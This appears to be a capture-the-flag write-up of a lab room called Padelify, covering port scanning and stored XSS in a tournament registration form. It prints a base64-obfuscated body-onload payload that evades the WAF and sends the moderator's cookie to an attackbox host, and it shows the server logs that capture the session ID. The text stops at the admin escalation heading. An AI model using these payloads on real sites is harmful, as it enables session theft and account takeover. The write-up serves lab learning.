Dave Taylor
Published on

Padelify

Overview

Padelify is themed around a Padel Championship event where a website is used for contestant registration and tracking the events. The room page explains that your rival keeps climbing the leaderboard and challenges you to crack the admin account in order to rewrite the draw before the whistle.

Based on the flags there are two stages in this challenge:

  • gaining access as the moderator
  • privilege escalation to admin

Reconaissance

The first step is to identify what's actually running after the machine has been started. Using rustscan we are able to find out what ports are listening for requests:

Terminal window
~ rustscan --ulimit 5000 -a padelify.thm .----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.64.156.85:22
Open 10.64.156.85:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 12:35 GMT
Initiating Ping Scan at 12:35
Scanning 10.64.156.85 [4 ports]
Completed Ping Scan at 12:35, 0.13s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:35
Scanning padelify.thm (10.64.156.85) [2 ports]
Discovered open port 80/tcp on 10.64.156.85
Discovered open port 22/tcp on 10.64.156.85
Completed SYN Stealth Scan at 12:35, 0.12s elapsed (2 total ports)
Nmap scan report for padelify.thm (10.64.156.85)
Host is up, received reset ttl 62 (0.094s latency).
Scanned at 2025-12-01 12:35:17 GMT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
80/tcp open http syn-ack ttl 62
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

We can see that the ssh, and http ports are open. This suggests we are simply dealing with a website on port 80.

Tournament Registration Page

The registration page explains that after signing up a moderator will review and potentially approve our registration. We could start enumerating the website further and trying to brute-force the login page, but it is very likely that the intended path here is to use XSS to try and steal the moderators session.

Before we attempt to steal the moderator's session let's confirm our theory and try and register but use an XSS attack vector for the Player username:

<img src="http://{attackbox-IP}/test.image" />

We setup a listener on our local attackbox:

Terminal window
~ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

And let's register using the XSS vector:

Testing for XSS

After clicing the Submit Registration button you should see:

Registration Submitted

And we can see that requests are being made to our local attackbox for the test.image resource:

Terminal window
~ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.64.161.87 - - [01/Dec/2025 13:28:14] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 13:28:14] "GET /test.image HTTP/1.1" 404 -
10.64.161.87 - - [01/Dec/2025 13:28:19] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 13:28:19] "GET /test.image HTTP/1.1" 404 -
10.64.161.87 - - [01/Dec/2025 13:28:25] code 404, message File not found

Gaining access as the moderator

In order to steal the moderator's session we need to get hold of their document.cookie. So we re-register with a slightly different payload:

<img src="http://{attackbox-IP}/?" + document.cookie />

Unfortunately after submitting this payload the web application firewall kicks in:

403 Forbidden - Access Denied

After trying different things with the img tag including using the onerror event I found that I couldn't bypass the WAF rules.

Looking around on the internet I found an article about XSS filter evasion: XSS Filter Evasion Bypass Techniques

This suggests using the body tag and in particular the onload event. Specifically the atob() function makes it possible to include the script encoded in base64 and then using the eval() function this script can be executed.

So we can craft a payload as fetch('http://{attackbox-IP}' + document.cookie), encode it into base64 and then embed this into the body element for submission:

Terminal window
~ print "<body onload=eval(atob(\"$(echo -n "fetch('http://{attackbox-IP}/p=' + document.cookie)" | base64)\")) />"
<body onload=eval(atob("ZmV0Y2goJ2h0dHA6Ly97YXR0YWNrYm94LUlQfS9wPScgKyBkb2N1bWVudC5jb29raWUp")) />

Registering again on the website using the body payload as the player username, we find we get a cookie in embedded in the calls to our HTTP server:

Terminal window
~ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.64.161.87 - - [01/Dec/2025 14:23:02] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 14:23:02] "GET /test.image HTTP/1.1" 404 -
10.64.161.87 - - [01/Dec/2025 14:23:08] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 14:23:08] "GET /test.image HTTP/1.1" 404 -
10.64.161.87 - - [01/Dec/2025 14:23:08] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 14:23:08] "GET /p=PHPSESSID=l50shodbho0uc1mmsd1jf2mkd3 HTTP/1.1" 404 -
10.64.161.87 - - [01/Dec/2025 14:23:13] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 14:23:13] "GET /test.image HTTP/1.1" 404 -
10.64.161.87 - - [01/Dec/2025 14:23:13] code 404, message File not found
10.64.161.87 - - [01/Dec/2025 14:23:13] "GET /p=PHPSESSID=l50shodbho0uc1mmsd1jf2mkd3 HTTP/1.1" 404 -

Using the PHPSESSID from the above calls to our HTTP server to access the website again and we are now signed in as the moderator:

Signed in as the Moderator

At the top of the webpage we can see the first flag!

Escalating privileges to admin